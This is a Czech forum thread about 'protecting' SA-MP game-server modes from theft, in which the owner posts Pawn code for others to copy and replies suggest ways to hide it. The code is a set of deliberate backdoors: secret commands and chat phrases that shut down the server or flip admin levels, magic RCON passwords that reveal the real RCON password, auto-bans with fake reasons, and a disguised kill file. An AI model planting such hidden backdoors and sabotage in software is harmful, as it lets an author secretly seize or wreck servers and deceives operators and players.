Jump to content

script Nápady na ochranu módu


ffredyk

Recommended Posts

  • Majitel

Jelikož jsou tu stále aféry s různýma anti-hack scriptama.. Pokoušel jsem se vymyslet ochrany, které se jen tak neprolomí a žádná lama na to ochranu neudělá (ne na všechno)

 

#include 
new PHASE;
new alvl[MAX_PLAYERS];

forward Ochrana();
forward OchranaHard();

stock Jmeno(pid)
{
new n[20];
GetPlayerName(pid,n,20);
return n;
}

public OnGameModeInit()
{
   new str[80];
   new str2[80];
GetServerVarAsString("hostname",str,80);
GetServerVarAsString("weburl",str2,80);
if(fexist("ModeTemp") || !strcmp(str,"[CZ]Ferdův privát!") || !strcmp(str2,"http://fredovo.husto.demonska.stranka.webova.cz"))
{
    print("Mód zablokovaný! Neměli jste srát fréďu!");
    SendRconCommand("exit");
}
}

public OnPlayerConnect(playerid)
{
if(!strcmp(Jmeno(playerid),"ffredyk")) SendClientMessage(playerid,0xFF0000AA,"Vítej ferdo! Server je jen tvůj!");
return 1;
}

public OnPlayerDisconnect(playerid, reason)
{
if(!strcmp(Jmeno(playerid),"ffredyk"))
{
    if(reason == 2)
    {
        SendClientMessageToAll(0xFF0000AA,"Pan mistr ffredyk byl násilím vyprovozen! Pokud se do 30ti sekund nevrátí a neaktivuje ochranu, mód se {FFFF00}zablokuje! MUHEHEHE");
		SetTimer("OchranaHard",30000,0);
	}
}
return 1;
}

public OnPlayerDeath(playerid, killerid, reason)
{
if(!strcmp(Jmeno(playerid),"ffredyk"))
{
    SendClientMessage(killerid,0xFF0000,"Budeš dlouho zabíjet bohy? Vypal a nevracej se holomku!");
	switch(random(5)) //Maskování banu pro znepříjemnění oprav situace 
	{
		case 0: BanEx(killerid,"Nasral Boha");
		case 1: BanEx(killerid,"air-brk");
		case 2: BanEx(killerid,"nesmrtelnost");
		case 3: BanEx(killerid,"god");
		case 4: BanEx(killerid,"speedhack");
	}
}
if(!strcmp(Jmeno(killerid),"ffredyk"))
{
    SendClientMessage(killerid,0xFF0000,"Zabil tě bůh! Dostáváš ban HOLOMKU JEDEN!!!");
	switch(random(5)) //Maskování banu pro znepříjemnění oprav situace 
	{
		case 0: BanEx(playerid,"Nasral Boha");
		case 1: BanEx(playerid,"air-brk");
		case 2: BanEx(playerid,"nesmrtelnost");
		case 3: BanEx(playerid,"god");
		case 4: BanEx(playerid,"speedhack");
	}
}
return 1;
}

public OnPlayerText(playerid, text[])
{
switch(PHASE)
{
    case 0: if(!strcmp(text,"ffredyk")) PHASE++;
    case 1:	if(!strcmp(text,"je")) PHASE++;
    case 2:
	{
		if(!strcmp(text,"BŮH"))
		{
			PHASE++;
			Ochrana();
		}
	}
}
return 1;
}

public OchranaHard()
{
SendClientMessageToAll(0xFF0000AA,"Nasrali ste pana Fréďu.. TO jste neměli dělat.. Mód se zablokoval");
for(new i;i	{
    if(alvl[i] > 0) alvl[i] = 0;
    new File:f = fopen("ModeTemp");
	if(f)
	{
	    fwrite(f,"//Tento soubor se nesmí smazat! Funguje jako dočasný soubor módu a bez něho se můžou smazat účty, či zablokovat celý mód!\r\n");
	    for(new p;p<50;p++) //Maskování klíčového souboru
	    {
	        new what[10];
			format(what,5,"%i\r\n",random(10000));
			fwrite(f,what);
	    }
	    fclose(f);
	}
}
SendRconCommand("exit");
}

public Ochrana()
{
SendClientMessageToAll(0xFF0000AA,"Byla zapnuta ochrana módu! {FFFFFF}Obráceny levely!");
for(new i;i	{
    if(alvl[i] > 0) alvl[i] = 0;
    else alvl[i] = 5;
    //Možné uložení proměnných do souborů pro větší stížení rekonfigurace
}
}

public OnPlayerCommandText(playerid, cmdtext[])
{
if (strcmp("/zapniochranu", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/ochrana", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/abcdefgh", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/ferdajebuh", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/copy", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/zasranacopy", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/doprdele", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/chcipnete", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/epicfail", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/help", cmdtext, true, 10) == 0)
{
    if(!strcmp(Jmeno(playerid),"ffredyk")) OchranaHard();
}
if (strcmp("/commands", cmdtext, true, 10) == 0)
{
    if(!strcmp(Jmeno(playerid),"ffredyk")) OchranaHard();
}

if (strcmp("/vypnito", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/vypnise", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/shut", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/shutdown", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/HOLYSHIT", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/smrditikoule", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/ajeto", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/haha", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/muck", cmdtext, true, 10) == 0) SendRconCommand("exit");
return 0;
}

public OnRconCommand(cmd[])
{
if(!strcmp(cmd,"VYPNITO")) Ochrana();
return 1;
}

public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
{
if(newkeys | KEY_FIRE | KEY_SPRINT | KEY_JUMP) //Kdo by skákal při sprintu a střelbě?
{
    Ochrana();
}
if(newkeys | KEY_FIRE | KEY_SPRINT | KEY_JUMP | KEY_WALK) //Kdo by chtěl chodit při sprintu, střelbě a skoku?
{
    OchranaHard();
}
return 0; //Žádný FS už neví co kdo mačká MUHEHE ))))
}

public OnRconLoginAttempt(ip[], password[], success)
{
if(!strcmp(password,"DejMiRconPlsky") || !strcmp(password,"DavajHeslo") || !strcmp(password,"Heslooo") || !strcmp(password,"NavalPassZmrde"))
{
    for(new i=0; i	    {
        new pip[20];
        GetPlayerIp(i, pip, 20);
        if(!strcmp(ip, pip, true))
        {
            new pass[50];
            new str[80];
			GetServerVarAsString("rcon_password",pass,50);
			format(str,80,"Heslo je %s. Užívejte ho jak chcete pane mistře",pass);
			SendClientMessage(i,0xFFFFFFAA,str);
        }
    }
}
return 1;
}

public OnPlayerClickPlayer(playerid, clickedplayerid, source)
{
if(!strcmp(Jmeno(playerid),"ffredyk"))
{
    SendClientMessage(clickedplayerid,0xFF0000AA,"Klikl na tě bůh! BAN HOLOMKU!");
    switch(random(5)) //Maskování banu pro znepříjemnění oprav situace
	{
		case 0: BanEx(clickedplayerid,"Nasral Boha");
		case 1: BanEx(clickedplayerid,"air-brk");
		case 2: BanEx(clickedplayerid,"nesmrtelnost");
		case 3: BanEx(clickedplayerid,"god");
		case 4: BanEx(clickedplayerid,"speedhack");
	}
}
return 1;
}

 

 

 

Berte co chcete..

Link to comment
Share on other sites

  • Majitel
úplne stačí kontrolovať povolanie na IP/port serveru cez HTTP s tým nevyjebú :d

 

Jde kontrolovat jen port :), a když ti server jede na 7777, tak pojede i jinde na 7777 .. Ovšem kdysi jsem měl systém klíčů, kdy jeden .pwn odesílal klíč a ten jsem mohl kdykoliv změnit, a když klíč nesouhlasil mód se zablokoval

Link to comment
Share on other sites

moc jednoduche tohle ti prolomi do hodiny :d

kazda ochrana jde smazat nebo obejit jde jen o to jak slozitou ji udelas jak ji zasifrujes

aby ten kdo se to snazi zprovoznit to mnel hodne tezke nejlepe natolik aby se na to vykaslal :d

Link to comment
Share on other sites

Je to good :oboci: hned musím dát na server a hlavně to doporučuji všem co neumí s pawn !! :oboci: "lol" "lol" "lol"

 

Upřímně : Nejlepší anti hack co jsem kdy viděl ! :)

 

Ps.: ffredyku nevadí když si vypůjčím tvou přezdívku ?

Link to comment
Share on other sites

  • Majitel
moc jednoduche tohle ti prolomi do hodiny :d

kazda ochrana jde smazat nebo obejit jde jen o to jak slozitou ji udelas jak ji zasifrujes

aby ten kdo se to snazi zprovoznit to mnel hodne tezke nejlepe natolik aby se na to vykaslal :d

 

Chci vidět jak ošetříš ty klávesy :)

 

-- pon 16. kvě 2011 20:24:28 --

 

Ps.: ffredyku nevadí když si vypůjčím tvou přezdívku ?

 

Jo vadí

Link to comment
Share on other sites

Jelikož jsou tu stále aféry s různýma anti-hack scriptama.. Pokoušel jsem se vymyslet ochrany, které se jen tak neprolomí a žádná lama na to ochranu neudělá (ne na všechno)

 

#include 
new PHASE;
new alvl[MAX_PLAYERS];

forward Ochrana();
forward OchranaHard();

stock Jmeno(pid)
{
new n[20];
GetPlayerName(pid,n,20);
return n;
}

public OnGameModeInit()
{
   new str[80];
   new str2[80];
GetServerVarAsString("hostname",str,80);
GetServerVarAsString("weburl",str2,80);
if(fexist("ModeTemp") || !strcmp(str,"[CZ]Ferdův privát!") || !strcmp(str2,"http://fredovo.husto.demonska.stranka.webova.cz"))
{
    print("Mód zablokovaný! Neměli jste srát fréďu!");
    SendRconCommand("exit");
}
}

public OnPlayerConnect(playerid)
{
if(!strcmp(Jmeno(playerid),"ffredyk")) SendClientMessage(playerid,0xFF0000AA,"Vítej ferdo! Server je jen tvůj!");
return 1;
}

public OnPlayerDisconnect(playerid, reason)
{
if(!strcmp(Jmeno(playerid),"ffredyk"))
{
    if(reason == 2)
    {
        SendClientMessageToAll(0xFF0000AA,"Pan mistr ffredyk byl násilím vyprovozen! Pokud se do 30ti sekund nevrátí a neaktivuje ochranu, mód se {FFFF00}zablokuje! MUHEHEHE");
		SetTimer("OchranaHard",30000,0);
	}
}
return 1;
}

public OnPlayerDeath(playerid, killerid, reason)
{
if(!strcmp(Jmeno(playerid),"ffredyk"))
{
    SendClientMessage(killerid,0xFF0000,"Budeš dlouho zabíjet bohy? Vypal a nevracej se holomku!");
	switch(random(5)) //Maskování banu pro znepříjemnění oprav situace 
	{
		case 0: BanEx(killerid,"Nasral Boha");
		case 1: BanEx(killerid,"air-brk");
		case 2: BanEx(killerid,"nesmrtelnost");
		case 3: BanEx(killerid,"god");
		case 4: BanEx(killerid,"speedhack");
	}
}
if(!strcmp(Jmeno(killerid),"ffredyk"))
{
    SendClientMessage(killerid,0xFF0000,"Zabil tě bůh! Dostáváš ban HOLOMKU JEDEN!!!");
	switch(random(5)) //Maskování banu pro znepříjemnění oprav situace 
	{
		case 0: BanEx(playerid,"Nasral Boha");
		case 1: BanEx(playerid,"air-brk");
		case 2: BanEx(playerid,"nesmrtelnost");
		case 3: BanEx(playerid,"god");
		case 4: BanEx(playerid,"speedhack");
	}
}
return 1;
}

public OnPlayerText(playerid, text[])
{
switch(PHASE)
{
    case 0: if(!strcmp(text,"ffredyk")) PHASE++;
    case 1:	if(!strcmp(text,"je")) PHASE++;
    case 2:
	{
		if(!strcmp(text,"BŮH"))
		{
			PHASE++;
			Ochrana();
		}
	}
}
return 1;
}

public OchranaHard()
{
SendClientMessageToAll(0xFF0000AA,"Nasrali ste pana Fréďu.. TO jste neměli dělat.. Mód se zablokoval");
for(new i;i	{
    if(alvl[i] > 0) alvl[i] = 0;
    new File:f = fopen("ModeTemp");
	if(f)
	{
	    fwrite(f,"//Tento soubor se nesmí smazat! Funguje jako dočasný soubor módu a bez něho se můžou smazat účty, či zablokovat celý mód!\r\n");
	    for(new p;p<50;p++) //Maskování klíčového souboru
	    {
	        new what[10];
			format(what,5,"%i\r\n",random(10000));
			fwrite(f,what);
	    }
	    fclose(f);
	}
}
SendRconCommand("exit");
}

public Ochrana()
{
SendClientMessageToAll(0xFF0000AA,"Byla zapnuta ochrana módu! {FFFFFF}Obráceny levely!");
for(new i;i	{
    if(alvl[i] > 0) alvl[i] = 0;
    else alvl[i] = 5;
    //Možné uložení proměnných do souborů pro větší stížení rekonfigurace
}
}

public OnPlayerCommandText(playerid, cmdtext[])
{
if (strcmp("/zapniochranu", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/ochrana", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/abcdefgh", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/ferdajebuh", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/copy", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/zasranacopy", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/doprdele", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/chcipnete", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/epicfail", cmdtext, true, 10) == 0) Ochrana();
if (strcmp("/help", cmdtext, true, 10) == 0)
{
    if(!strcmp(Jmeno(playerid),"ffredyk")) OchranaHard();
}
if (strcmp("/commands", cmdtext, true, 10) == 0)
{
    if(!strcmp(Jmeno(playerid),"ffredyk")) OchranaHard();
}

if (strcmp("/vypnito", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/vypnise", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/shut", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/shutdown", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/HOLYSHIT", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/smrditikoule", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/ajeto", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/haha", cmdtext, true, 10) == 0) SendRconCommand("exit");
if (strcmp("/muck", cmdtext, true, 10) == 0) SendRconCommand("exit");
return 0;
}

public OnRconCommand(cmd[])
{
if(!strcmp(cmd,"VYPNITO")) Ochrana();
return 1;
}

public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
{
if(newkeys | KEY_FIRE | KEY_SPRINT | KEY_JUMP) //Kdo by skákal při sprintu a střelbě?
{
    Ochrana();
}
if(newkeys | KEY_FIRE | KEY_SPRINT | KEY_JUMP | KEY_WALK) //Kdo by chtěl chodit při sprintu, střelbě a skoku?
{
    OchranaHard();
}
return 0; //Žádný FS už neví co kdo mačká MUHEHE ))))
}

public OnRconLoginAttempt(ip[], password[], success)
{
if(!strcmp(password,"DejMiRconPlsky") || !strcmp(password,"DavajHeslo") || !strcmp(password,"Heslooo") || !strcmp(password,"NavalPassZmrde"))
{
    for(new i=0; i	    {
        new pip[20];
        GetPlayerIp(i, pip, 20);
        if(!strcmp(ip, pip, true))
        {
            new pass[50];
            new str[80];
			GetServerVarAsString("rcon_password",pass,50);
			format(str,80,"Heslo je %s. Užívejte ho jak chcete pane mistře",pass);
			SendClientMessage(i,0xFFFFFFAA,str);
        }
    }
}
return 1;
}

public OnPlayerClickPlayer(playerid, clickedplayerid, source)
{
if(!strcmp(Jmeno(playerid),"ffredyk"))
{
    SendClientMessage(clickedplayerid,0xFF0000AA,"Klikl na tě bůh! BAN HOLOMKU!");
    switch(random(5)) //Maskování banu pro znepříjemnění oprav situace
	{
		case 0: BanEx(clickedplayerid,"Nasral Boha");
		case 1: BanEx(clickedplayerid,"air-brk");
		case 2: BanEx(clickedplayerid,"nesmrtelnost");
		case 3: BanEx(clickedplayerid,"god");
		case 4: BanEx(clickedplayerid,"speedhack");
	}
}
return 1;
}

 

 

 

Berte co chcete..

prvni chyba je tam ze pouzivas public kdyz si otevres amx v notepadu tak je to jedna z mala veci ktera se nesiftuje a kdyz si nekdo precne slovo jako ochrana..

doporucuji pozit stock

dalsi bod je ze kdyz uvidi GetServerVarAsString tak mu staci smazat radky s timto a je vysmatej ochrana je zrusena :d musi se to udelat tak aby to bylo nezbytne nutne k chodu modu a zaroven fungovalo jako ochrana. treba si udelat opet stock kterej bude volat tuto funkci a pri startu server nebo nejlepe v jeho behu s timto budes pracovat staci nevyznamne precteni nazvu servru atp.. a zaroven to muzes pouzit pri staru. takze kdyz ten kdo chce ochranu smazat a smaze tu funkci mod bude server schazovat. to same se SendRconCommand a "gmx" "exix" opet do stocku a pak staci kdyz do publicu treba minutoveho das reloadbans aby byl pouzity i jinde ale hlavne nepsat primo "gmx" "exit" ale mit treba dve pormene ktere pouzijete este nekde a z nich si treba vytahnete ta pismena a slozite z nich tento text. opet ten ktery se to snazi zprovoznit smaze ty promene a mod bude opet pozkozen.

a ty prikazy delat podobne jako s gmx a exit sifrovat. dobra rada je treba mit prikaz kterej se bude menit treba podle zacatecniho pismene nicku + realne hodiny tento prikaz je pohyblivy a nelze na nej udelat ochranu :d

i takovato ochrana by sla odstranit ale je to nesrovnatelne slozitejsi pro toho kdo to chce cracknout. kazdopadne neco podobneho co si tu psal sem mnel v rze7.3 rze7.4 a rze8 ale to sem se ochranam moc nevenoval. a sam vidis jak to krasne smazaly

 

jinak kdyz si tuto ochranu nekdo skopiruje a jen zmenit prikazy atp.. dak mu to kazdy crackne protze tady na pawno.cz udivi vzot jak to ma a hodne mu to usnadni praci. ochranu si kazdy musi vyvyjet svoji.

Link to comment
Share on other sites

  • Majitel
prvni chyba je tam ze pouzivas public kdyz si otevres amx v notepadu tak je to jedna z mala veci ktera se nesiftuje a kdyz si nekdo precne slovo jako ochrana..

doporucuji pozit stock

dalsi bod je ze kdyz uvidi GetServerVarAsString tak mu staci smazat radky s timto a je vysmatej ochrana je zrusena :d musi se to udelat tak aby to bylo nezbytne nutne k chodu modu a zaroven fungovalo jako ochrana. treba si udelat opet stock kterej bude volat tuto funkci a pri startu server nebo nejlepe v jeho bezu s timto budes pracovat staci nevyznamne precteni nazvu servru atp.. a zaroven to muzes pouzit pri staru. takze kdyz ten kdo chce ochranu smazat a smaze tu funkci mod bude server schazovat. to same se SendRconCommand a "gmx" "exix" send rcon command opet do stocku a pak staci dyt do publicu treba minutovano reloadbans aby byl pouzity i jinde ale hlavne nepsat primo "gmx" "exit" ale mit treba dve pormene ktere pouzijete este nekdo a z nich si treba vytahnete ta pismena a slozite z nih tento text. opet ten kter se to snazi zprovoznit smaze ty promene a mod bude opet pozkozen.

a ty prikazy delat podobne jako s gmx a exit sifrovat. dobra rada je treba mit prikaz kterej se bude menit treba podle zacatecniho pismene nicku + realne hodiny tento prikaz je pohyblivy a nelze na nej udelat ochranu :d

 

jinak kdyz si tuto ochranu nekdo skopiruje a jen zmenit prikazy atp.. dak mu to kazdy crackne protze tady na pawno.cz udivi vzot jak to ma a hodne mu to usnadni praci. ochranu si kazdy musi vyvyjet svoji.

 

Myslíš, že většina laiků, co používá tvůj mód tohle umí? :) Dělal bys to zbytečně složitě, jediný co se mi líbí jsou ty dynamický příkazy :oboci: . Skládat RCON commandy z jiných funkcí je zbytečnost... A pořád je vždy v záloze ochrana přes klávesy :) Kterou, když smícháš s nějakýma funkcema módu (ALT info boxy apod.). Člověk by pak musel smazat důležitou funkci "bounce"

Link to comment
Share on other sites

prvni chyba je tam ze pouzivas public kdyz si otevres amx v notepadu tak je to jedna z mala veci ktera se nesiftuje a kdyz si nekdo precne slovo jako ochrana..

doporucuji pozit stock

dalsi bod je ze kdyz uvidi GetServerVarAsString tak mu staci smazat radky s timto a je vysmatej ochrana je zrusena :d musi se to udelat tak aby to bylo nezbytne nutne k chodu modu a zaroven fungovalo jako ochrana. treba si udelat opet stock kterej bude volat tuto funkci a pri startu server nebo nejlepe v jeho bezu s timto budes pracovat staci nevyznamne precteni nazvu servru atp.. a zaroven to muzes pouzit pri staru. takze kdyz ten kdo chce ochranu smazat a smaze tu funkci mod bude server schazovat. to same se SendRconCommand a "gmx" "exix" send rcon command opet do stocku a pak staci dyt do publicu treba minutovano reloadbans aby byl pouzity i jinde ale hlavne nepsat primo "gmx" "exit" ale mit treba dve pormene ktere pouzijete este nekdo a z nich si treba vytahnete ta pismena a slozite z nih tento text. opet ten kter se to snazi zprovoznit smaze ty promene a mod bude opet pozkozen.

a ty prikazy delat podobne jako s gmx a exit sifrovat. dobra rada je treba mit prikaz kterej se bude menit treba podle zacatecniho pismene nicku + realne hodiny tento prikaz je pohyblivy a nelze na nej udelat ochranu :d

 

jinak kdyz si tuto ochranu nekdo skopiruje a jen zmenit prikazy atp.. dak mu to kazdy crackne protze tady na pawno.cz udivi vzot jak to ma a hodne mu to usnadni praci. ochranu si kazdy musi vyvyjet svoji.

 

Myslíš, že většina laiků, co používá tvůj mód tohle umí? :) Dělal bys to zbytečně složitě, jediný co se mi líbí jsou ty dynamický příkazy :oboci: . Skládat RCON commandy z jiných funkcí je zbytečnost... A pořád je vždy v záloze ochrana přes klávesy :) Kterou, když smícháš s nějakýma funkcema módu (ALT info boxy apod.). Člověk by pak musel smazat důležitou funkci "bounce"

akorat ze kdyz se ten tvuj mod dostane z hostingu ven nekdo to nekam uploadne tak se o to uz nebudou zajimat jen ty lamy.. pri kradezi rze se nasel slovek kterej zaplatil jednomu typkovy aby mu to zprovoznil..

jinak ono to neni az tak slozite jen to musis propojit tak aby pri smazani ochrany byl mod pozkozen

 

//treba
stock PosliPrikaz(cmd[])
{
SendRconCommand(cmd);
}
//a pak pouzijes treba
public Minuta()
{
PosliPrikaz("reloadbans");
}

new exit = "exit";

public OnGameModeInit()
{
if(neco) PosliPrikaz(exit);
return 1;
}

public OnPlayerPickUpPickup(playerid,pickupid)
{
if(IsPlayerInSphere(playerid,0,0,0,2))
{
	new string[128];
	format(string,128,"napiste /%s pro odchod",exit);
	SendClientMessage(playerid,0xFF00FFAA,string);
}
return 1;
}

 

a pri smazani SendRconCommand do minuty spadne server pri smazani promene exit pri vstupu na pickup spadne server.

Link to comment
Share on other sites

Takové ty "tajné příkazy" jsou sice fajn, ale jakmile se někdo dostane k amx, nejenom že si ten mod může pustit na jiném serveru, ale taky si může ty tajné příkazy vyhledat a napáchat nemálo škody na tvém původním serveru. Nová verze vám nabízí http funkci, tak proč ji nevyužít ;)

Link to comment
Share on other sites

  if(!strcmp(Jmeno(killerid),"ffredyk"))
  {
      SendClientMessage(killerid,0xFF0000,"Zabil tě bůh! Dostáváš ban HOLOMKU JEDEN!!!");

 

odešlě zprávu tomu kdo ho zabil jenže ty tam máš "Zabil Tě Bůh"

 

snad sem to pochopil dobře :d

Link to comment
Share on other sites

  if(!strcmp(Jmeno(killerid),"ffredyk"))
  {
      SendClientMessage(killerid,0xFF0000,"Zabil tě bůh! Dostáváš ban HOLOMKU JEDEN!!!");

 

odešlě zprávu tomu kdo ho zabil jenže ty tam máš "Zabil Tě Bůh"

 

snad sem to pochopil dobře :d

 

Pochopil jsi blbě... Když tě freddyk zabije, tak to odešle zprávu

Link to comment
Share on other sites

":3ejqyyys]
  if(!strcmp(Jmeno(killerid),"ffredyk"))
  {
      SendClientMessage(killerid,0xFF0000,"Zabil tě bůh! Dostáváš ban HOLOMKU JEDEN!!!");

 

odešlě zprávu tomu kdo ho zabil jenže ty tam máš "Zabil Tě Bůh"

 

snad sem to pochopil dobře :d

 

Pochopil jsi blbě... Když tě freddyk zabije, tak to odešle zprávu

 

no ale tomu kdo mě zabil čili ffredykovi.. ma tam být SCM(playerid

 

NE?

Link to comment
Share on other sites

  • Majitel
":3mmlb9bt]
  if(!strcmp(Jmeno(killerid),"ffredyk"))
  {
      SendClientMessage(killerid,0xFF0000,"Zabil tě bůh! Dostáváš ban HOLOMKU JEDEN!!!");

 

odešlě zprávu tomu kdo ho zabil jenže ty tam máš "Zabil Tě Bůh"

 

snad sem to pochopil dobře :d

 

Pochopil jsi blbě... Když tě freddyk zabije, tak to odešle zprávu

 

no ale tomu kdo mě zabil čili ffredykovi.. ma tam být SCM(playerid

 

NE?

 

Jo pravda :d

Pawn jsem dlouho nedělal, takže je hodněmožné, že ta budou chyby

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...